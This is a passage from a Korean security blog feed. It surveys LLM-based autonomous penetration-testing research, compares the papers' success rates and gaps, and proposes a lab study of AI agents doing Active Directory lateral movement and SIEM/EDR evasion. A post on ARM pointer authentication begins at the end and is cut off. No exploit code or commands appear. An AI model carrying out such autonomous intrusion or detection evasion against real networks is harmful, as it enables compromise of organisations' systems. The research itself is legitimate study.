&lt;li&gt;Phase 1: 생성한 페이로드가 기술적으로 유효한지 자체 검증&lt;/li&gt;
&lt;li&gt;Phase 2: 서버 응답을 분석하여 공격 성공 여부를 실질적으로 판단&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;평가 결과&lt;/h4&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;시스템&lt;/th&gt;
&lt;th&gt;XBOW 성공률&lt;/th&gt;
&lt;th&gt;서브태스크 완료율&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Red-MIRROR&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;86.0%&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;93.99%&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PentestAgent&lt;/td&gt;
&lt;td&gt;50.0%&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AutoPT&lt;/td&gt;
&lt;td&gt;46.0%&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VulnBot&lt;/td&gt;
&lt;td&gt;6.0%&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;VulnBot 대비 80%p 향상, PentestAgent 대비 36%p 향상&lt;/b&gt;이라는 압도적 성능 차이를 보인다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;주요 한계&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;웹 취약점 전용:&lt;/b&gt; SQLi, XSS, 비즈니스 로직 취약점에 특화. 네트워크/인프라 침투 미지원&lt;/li&gt;
&lt;li&gt;&lt;b&gt;윤리적 우려:&lt;/b&gt; 논문 자체에서 &quot;악용 방지를 위한 안전장치&quot; 필요성을 언급&lt;/li&gt;
&lt;li&gt;&lt;b&gt;실제 프로덕션 미검증:&lt;/b&gt; 벤치마크(XBOW, Vulhub)는 알려진 취약점을 포함한 테스트 환경&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 논문 비교 분석&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4.1 3편 비교 매트릭스&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;비교 기준&lt;/th&gt;
&lt;th&gt;P1: VulnBot&lt;/th&gt;
&lt;th&gt;P2: CyberExplorer&lt;/th&gt;
&lt;th&gt;P3: Red-MIRROR&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;발표 시기&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;2025.01&lt;/td&gt;
&lt;td&gt;2026.02&lt;/td&gt;
&lt;td&gt;2026.03&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;핵심 기여&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;멀티 에이전트 협업 구조&lt;/td&gt;
&lt;td&gt;오픈월드 벤치마크&lt;/td&gt;
&lt;td&gt;메모리 + 반성 메커니즘&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;에이전트 수&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;3개 (정찰/스캔/공격)&lt;/td&gt;
&lt;td&gt;다수 (동적 구성)&lt;/td&gt;
&lt;td&gt;다수 (밀결합)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;메모리 메커니즘&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;없음&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;제한적&lt;/td&gt;
&lt;td&gt;&lt;b&gt;SRMM (핵심)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;외부 지식 통합&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;없음&lt;/td&gt;
&lt;td&gt;없음&lt;/td&gt;
&lt;td&gt;&lt;b&gt;RAG&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;자기 검증&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;없음&lt;/td&gt;
&lt;td&gt;없음&lt;/td&gt;
&lt;td&gt;&lt;b&gt;이중 반성&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;평가 환경&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;자체 환경&lt;/td&gt;
&lt;td&gt;40개 CTF 웹 서비스&lt;/td&gt;
&lt;td&gt;XBOW + Vulhub&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;평가 방식&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;성공/실패&lt;/td&gt;
&lt;td&gt;다차원 (5개 지표)&lt;/td&gt;
&lt;td&gt;성공률 + 서브태스크&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;공격 대상&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;웹 + 일부 네트워크&lt;/td&gt;
&lt;td&gt;웹 전용&lt;/td&gt;
&lt;td&gt;웹 전용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;방어 시스템 포함&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;없음&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;없음&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;없음&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;내부망 횡이동&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;없음&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;없음&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;없음&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;실제 환경 검증&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;일부&lt;/td&gt;
&lt;td&gt;없음 (CTF)&lt;/td&gt;
&lt;td&gt;없음 (벤치마크)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;XBOW 성공률&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;6.0%&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;86.0%&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4.2 연구 발전 흐름&lt;/h3&gt;
&lt;pre class=&quot;mathematica&quot;&gt;&lt;code&gt;VulnBot (2025.01)          CyberExplorer (2026.02)       Red-MIRROR (2026.03)
&quot;팀처럼 협업하자&quot;           &quot;공정하게 평가하자&quot;           &quot;기억하고 반성하자&quot;
     │                          │                            │
     │  멀티 에이전트 구조       │  오픈월드 벤치마크          │  메모리 + 반성
     │  단계별 태스크 분할       │  다차원 평가 지표          │  RAG 외부 지식
     │                          │                            │  이중 검증
     │                          │                            │
     └──── 한계: 메모리 없음 ────┤                            │
     └──── 한계: 표준 벤치 없음 ─┘                            │
                                └──── 한계: 웹 전용 ──────────┘
                                └──── 한계: 방어 시스템 없음 ──┘&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심 관찰:&lt;/b&gt; 1년간의 연구 발전은 명확한 방향성을 보인다:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;단일 에이전트 &amp;rarr; &lt;b&gt;멀티 에이전트 협업&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;단순 평가 &amp;rarr; &lt;b&gt;다차원 오픈월드 벤치마크&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;메모리 없음 &amp;rarr; &lt;b&gt;공유 메모리 + 반성 메커니즘&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 3편 모두 공유하는 근본적 한계가 있다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4.3 공통 한계점 (미탐색 영역)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3편의 논문 모두에서 &lt;b&gt;다루지 않은&lt;/b&gt; 영역을 아래와 같이 도출했다:&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;한계 1: &quot;웹 밖의 세계가 없다&quot;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3편 모두 웹 애플리케이션 취약점(SQLi, XSS, RCE 등)에만 집중한다. 실제 침투 테스트(특히 레드팀 작전)에서 가장 중요한 단계인 &lt;b&gt;내부망 횡이동(Lateral Movement)&lt;/b&gt;과 &lt;b&gt;Active Directory 공격&lt;/b&gt;은 전혀 다루지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제 레드팀 킬 체인:&lt;/p&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;초기 침투 (웹 RCE 등) &amp;rarr; [기존 연구가 다루는 범위]
    &amp;darr;
내부 정찰 &amp;rarr; 권한 상승 &amp;rarr; 횡이동 &amp;rarr; 도메인 장악 &amp;rarr; [미탐색 영역]&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;한계 2: &quot;방어자가 없다&quot;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모든 실험이 WAF, IDS, EDR, SIEM 등 &lt;b&gt;방어 메커니즘이 없는 환경&lt;/b&gt;에서 수행되었다. 실제 환경에서는 공격 시도가 차단되거나 탐지되며, 이에 대한 &lt;b&gt;적응적 우회(Adaptive Evasion)&lt;/b&gt;가 필요하다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;한계 3: &quot;성공률만 본다&quot;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CyberExplorer를 제외하면 대부분 &quot;몇 개의 취약점을 성공적으로 익스플로잇했는가&quot;라는 단일 지표로 평가한다. 실전에서 중요한 &lt;b&gt;은밀성(Stealth)&lt;/b&gt;, &lt;b&gt;탐지 회피율&lt;/b&gt;, &lt;b&gt;작전 보안(OPSEC)&lt;/b&gt; 등은 평가되지 않는다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 연구 동향 종합&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5.1 현재 연구 지형도&lt;/h3&gt;
&lt;pre class=&quot;cs&quot;&gt;&lt;code&gt;              [성숙도 높음]
                   │
    ┌──────────────┼──────────────┐
    │              │              │
  웹 취약점     CTF 벤치마크    멀티 에이전트
  자동 익스플로잇  자동 풀이     협업 구조
    │              │              │
    │     ─────────┼──────────    │
    │    │ 현재 연구의 중심 │     │
    │     ─────────┼──────────    │
    │              │              │
    ├── RAG 지식   ├── 오픈월드   ├── 공유 메모리
    │   통합       │   평가       │   + 반성
    │              │              │
    └──────────────┼──────────────┘
                   │
              [성숙도 낮음]
                   │
    ┌──────────────┼──────────────┐
    │              │              │
  내부망 횡이동   방어 시스템    은밀성/OPSEC
  AD 공격 자동화  존재 하 테스트  평가 지표
    │              │              │
    │     ─────────┼──────────    │
    │    │    미탐색 영역    │    │
    │     ─────────┼──────────    │
    └──────────────┼──────────────┘&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5.2 핵심 트렌드 (2024~2026)&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;트렌드&lt;/th&gt;
&lt;th&gt;근거&lt;/th&gt;
&lt;th&gt;향후 전망&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;LLM 에이전트 + 침투 테스트 융합&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;1년 반 만에 10편 이상 논문&lt;/td&gt;
&lt;td&gt;주요 보안 학회(S&amp;amp;P, USENIX, CCS)에 진입 중&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;멀티 에이전트 &amp;rarr; 표준&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;P1~P3 모두 멀티 에이전트 채택&lt;/td&gt;
&lt;td&gt;단일 에이전트 접근은 도태될 것&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;메모리/반성 메커니즘&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Red-MIRROR이 SRMM으로 80%p 성능 향상&lt;/td&gt;
&lt;td&gt;에이전트 메모리 설계가 핵심 경쟁 요소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;벤치마크 표준화 필요성&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;각 논문이 다른 환경에서 평가 &amp;rarr; 비교 불가&lt;/td&gt;
&lt;td&gt;커뮤니티 수준의 표준 벤치마크 등장 예상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;웹 &amp;rarr; 인프라/네트워크 확장&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;아직 미탐색이나 필연적 확장 방향&lt;/td&gt;
&lt;td&gt;다음 1~2년 내 핵심 연구 주제화&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 연구 질문 및 연구 설계&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6.1 연구 질문 (Research Question)&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;LLM 멀티 에이전트 시스템이 초기 웹 침투 이후 Active Directory 환경에서의 내부망 횡이동(Lateral Movement)과 권한 상승(Privilege Escalation)을 자율적으로 수행할 수 있으며, 이때 방어 시스템(EDR/SIEM) 존재 하에서의 탐지 회피 능력은 어떠한가?&quot;&lt;/b&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6.2 연구 질문 도출 근거&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;기존 연구 한계&lt;/th&gt;
&lt;th&gt;본 연구의 대응&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;3편 모두 웹 전용&lt;/td&gt;
&lt;td&gt;&amp;rarr; &lt;b&gt;내부망(AD) 환경으로 확장&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;방어 시스템 없는 환경&lt;/td&gt;
&lt;td&gt;&amp;rarr; &lt;b&gt;EDR/SIEM 존재 하 테스트&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;성공률만 평가&lt;/td&gt;
&lt;td&gt;&amp;rarr; &lt;b&gt;탐지 회피율, 은밀성 지표 추가&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CTF/벤치마크 인위성&lt;/td&gt;
&lt;td&gt;&amp;rarr; &lt;b&gt;실제 AD 환경 기반 테스트베드&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6.3 연구 설계 초안&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;연구 대상&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;공격 시스템:&lt;/b&gt; LLM 멀티 에이전트 프레임워크 (Red-MIRROR 아키텍처 확장)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;대상 환경:&lt;/b&gt; Active Directory 도메인 네트워크 (DC 1대, 워크스테이션 3대, 서버 2대)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;방어 시스템:&lt;/b&gt; Elastic SIEM + Sysmon + 기본 탐지 규칙&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;수집 데이터&lt;/h4&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;데이터&lt;/th&gt;
&lt;th&gt;수집 방법&lt;/th&gt;
&lt;th&gt;용도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;에이전트 행동 로그&lt;/td&gt;
&lt;td&gt;LLM 에이전트의 의사결정 과정 기록&lt;/td&gt;
&lt;td&gt;공격 전략 분석&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sysmon 이벤트 로그&lt;/td&gt;
&lt;td&gt;피해 시스템에서 수집&lt;/td&gt;
&lt;td&gt;공격 행위 기록&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SIEM 알림 로그&lt;/td&gt;
&lt;td&gt;Elastic Security 탐지 규칙 트리거 기록&lt;/td&gt;
&lt;td&gt;탐지율 계산&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;네트워크 트래픽&lt;/td&gt;
&lt;td&gt;tcpdump/Zeek&lt;/td&gt;
&lt;td&gt;횡이동 패턴 분석&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ATT&amp;amp;CK 매핑 결과&lt;/td&gt;
&lt;td&gt;수동 + 자동&lt;/td&gt;
&lt;td&gt;기법 커버리지 측정&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;변수 정의&lt;/h4&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;변수 유형&lt;/th&gt;
&lt;th&gt;변수명&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;th&gt;측정 방법&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;독립변수&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;에이전트 아키텍처&lt;/td&gt;
&lt;td&gt;(a) 단일 에이전트, (b) P1식 단계분리, (c) P3식 메모리+반성&lt;/td&gt;
&lt;td&gt;시스템 구성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;독립변수&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;방어 수준&lt;/td&gt;
&lt;td&gt;(a) 방어 없음, (b) 기본 규칙, (c) 고급 규칙&lt;/td&gt;
&lt;td&gt;SIEM 규칙 세트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;종속변수&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;침투 성공률&lt;/td&gt;
&lt;td&gt;최종 목표(도메인 장악) 달성 비율&lt;/td&gt;
&lt;td&gt;이진 판정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;종속변수&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;단계별 완료율&lt;/td&gt;
&lt;td&gt;정찰/횡이동/권한상승 각 단계 완료율&lt;/td&gt;
&lt;td&gt;ATT&amp;amp;CK 기법 기준&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;종속변수&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;탐지 회피율&lt;/td&gt;
&lt;td&gt;실행 기법 중 SIEM 미탐지 비율&lt;/td&gt;
&lt;td&gt;1 - (알림 수 / 실행 기법 수)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;종속변수&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;작전 시간&lt;/td&gt;
&lt;td&gt;초기 침투부터 목표 달성까지 소요 시간&lt;/td&gt;
&lt;td&gt;타임스탬프&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;통제변수&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;LLM 모델&lt;/td&gt;
&lt;td&gt;GPT-4o 고정&lt;/td&gt;
&lt;td&gt;API 버전 통제&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;통제변수&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;네트워크 토폴로지&lt;/td&gt;
&lt;td&gt;고정된 AD 구성&lt;/td&gt;
&lt;td&gt;스냅샷 복원&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;분석 방법&lt;/h4&gt;
&lt;pre class=&quot;less&quot;&gt;&lt;code&gt;[실험 설계: 3&amp;times;3 요인 설계]

                    방어 수준
                 없음  기본  고급
에이전트    (a)  [ ]   [ ]   [ ]    &amp;larr; 단일 에이전트
아키텍처    (b)  [ ]   [ ]   [ ]    &amp;larr; 단계분리 (VulnBot식)
            (c)  [ ]   [ ]   [ ]    &amp;larr; 메모리+반성 (Red-MIRROR식)

각 셀: 10회 반복 실험 &amp;rarr; 총 90회&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;분석 기법:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;이원 분산분석 (Two-way ANOVA):&lt;/b&gt; 에이전트 아키텍처 &amp;times; 방어 수준이 침투 성공률에 미치는 주효과 및 상호작용 효과&lt;/li&gt;
&lt;li&gt;&lt;b&gt;ATT&amp;amp;CK 히트맵:&lt;/b&gt; 각 조건에서 성공/실패한 기법을 Navigator로 시각화하여 &lt;b&gt;아키텍처별 강점/약점 패턴&lt;/b&gt; 도출&lt;/li&gt;
&lt;li&gt;&lt;b&gt;실패 모드 질적 분석:&lt;/b&gt; 에이전트가 왜, 어디서 실패하는지 LLM 의사결정 로그를 코딩 분석&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;7. 맺으며&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2025~2026년, LLM 기반 자율 침투 테스트 연구는 빠르게 성숙하고 있다. VulnBot이 &quot;팀 협업&quot;의 아이디어를 제시하고, CyberExplorer가 &quot;공정한 평가&quot;의 기준을 세웠으며, Red-MIRROR이 &quot;기억과 반성&quot;으로 성능의 벽을 돌파했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 이 연구들은 모두 &lt;b&gt;웹이라는 울타리 안&lt;/b&gt;에 머물러 있다. 실제 레드팀 작전의 핵심 &amp;mdash; 내부망 횡이동, Active Directory 장악, 방어 시스템 우회 &amp;mdash; 은 아직 손대지 않은 영역이다. 이 공백은 위협이자 기회다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 연구는 &lt;b&gt;&quot;LLM 에이전트가 웹의 초기 침투를 넘어, 방어자가 지키고 있는 내부 네트워크를 자율적으로 탐색하고 장악할 수 있는가?&quot;&lt;/b&gt;라는 질문에 답해야 한다. 이 질문에 대한 답은 공격자보다 방어자가 먼저 알아야 한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;참고 문헌&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;He Kong et al., &quot;VulnBot: Autonomous Penetration Testing for A Multi-Agent Collaborative Framework,&quot; arXiv:2501.13411, Jan 2025. &lt;a href=&quot;https://arxiv.org/abs/2501.13411&quot;&gt;[링크]&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Nanda Rani et al., &quot;CyberExplorer: Benchmarking LLM Offensive Security Capabilities in a Real-World Attacking Simulation Environment,&quot; arXiv:2602.08023, Feb 2026. &lt;a href=&quot;https://arxiv.org/abs/2602.08023&quot;&gt;[링크]&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Tran Vy Khang et al., &quot;Red-MIRROR: Agentic LLM-based Autonomous Penetration Testing with Reflective Verification and Knowledge-augmented Interaction,&quot; arXiv:2603.27127, Mar 2026. &lt;a href=&quot;https://arxiv.org/abs/2603.27127&quot;&gt;[링크]&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;LMDG: Advancing Lateral Movement Detection Through High-Fidelity Dataset Generation, arXiv:2508.02942, Aug 2025. &lt;a href=&quot;https://arxiv.org/html/2508.02942v1&quot;&gt;[링크]&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Optimizing Cyber Defense in Dynamic Active Directories through Reinforcement Learning, arXiv:2406.19596, Jun 2024. &lt;a href=&quot;https://arxiv.org/abs/2406.19596&quot;&gt;[링크]&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;RedTeamLLM: an Agentic AI framework for offensive security, arXiv:2505.06913, May 2025. &lt;a href=&quot;https://arxiv.org/html/2505.06913v1&quot;&gt;[링크]&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;CurriculumPT: LLM-Based Multi-Agent Autonomous Penetration Testing with Curriculum-Guided Task Scheduling, MDPI Applied Sciences, Aug 2025. &lt;a href=&quot;https://www.mdpi.com/2076-3417/15/16/9096&quot;&gt;[링크]&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</description>
      <category>Documentation &amp;amp; Blog</category>
      <author>KWAKBUMJUN</author>
      <guid isPermaLink="true">https://reversing-study.tistory.com/98</guid>
      <comments>https://reversing-study.tistory.com/98#entry98comment</comments>
      <pubDate>Sun, 5 Apr 2026 23:25:10 +0900</pubDate>
    </item>
    <item>
      <title>PAC 보호기법 조사</title>
      <link>https://reversing-study.tistory.com/97</link>
      <description>&lt;h2&gt;1. 들어가며: 왜 포인터를 보호해야 하는가&lt;/h2&gt;
&lt;p&gt;메모리 취약점을 이용한 공격의 핵심은 거의 언제나 &lt;strong&gt;포인터 변조&lt;/strong&gt;다. 스택 버퍼 오버플로우로 리턴 주소를 덮어쓰든(ROP), 함수 포인터를 변조하든(JOP), vtable을 조작하든 — 결국 공격자가 하는 일은 &amp;quot;프로그램이 의도하지 않은 주소로 제어 흐름을 바꾸는 것&amp;quot;이다.&lt;/p&gt;
&lt;p&gt;소프트웨어 수준의 방어(ASLR, Stack Canary, CFI 등)는 효과적이지만 한계가 있다. ASLR은 정보 유출로 우회되고, Stack Canary는 비순차적 쓰기로 건너뛸 수 있다. 이 한계를 극복하기 위해 ARM은 &lt;strong&gt;하드웨어 수준에서 포인터 자체에 암호학적 서명을 삽입하는 기법&lt;/strong&gt;을 도입했다.&lt;/p&gt;
&lt;p&gt;이것이 &lt;strong&gt;PAC(Pointer Authentication Code)&lt;/strong&gt;이다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. PAC의 핵심 개념&lt;/h2&gt;
&lt;h3&gt;2.1 한 문장 요약&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;p&gt;&lt;strong&gt;포인터의 미사용 상위 비트에 암호학적 해시(PAC)를 삽입하고, 포인터 사용 시 해시를 검증하여 변조 여부를 판별한다.&lt;/strong&gt;&lt;/p&gt;
&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;h3&gt;2.2 PAC가 들어가는 자리: 64비트 포인터의 빈 공간&lt;/h3&gt;
&lt;p&gt;현대 ARM64 시스템에서 64비트 포인터의 모든 비트가 실제 주소 지정에 사용되지는 않는다. 예를 들어 48비트 가상 주소 체계를 사용하는 Linux 시스템에서는:&lt;/p&gt;
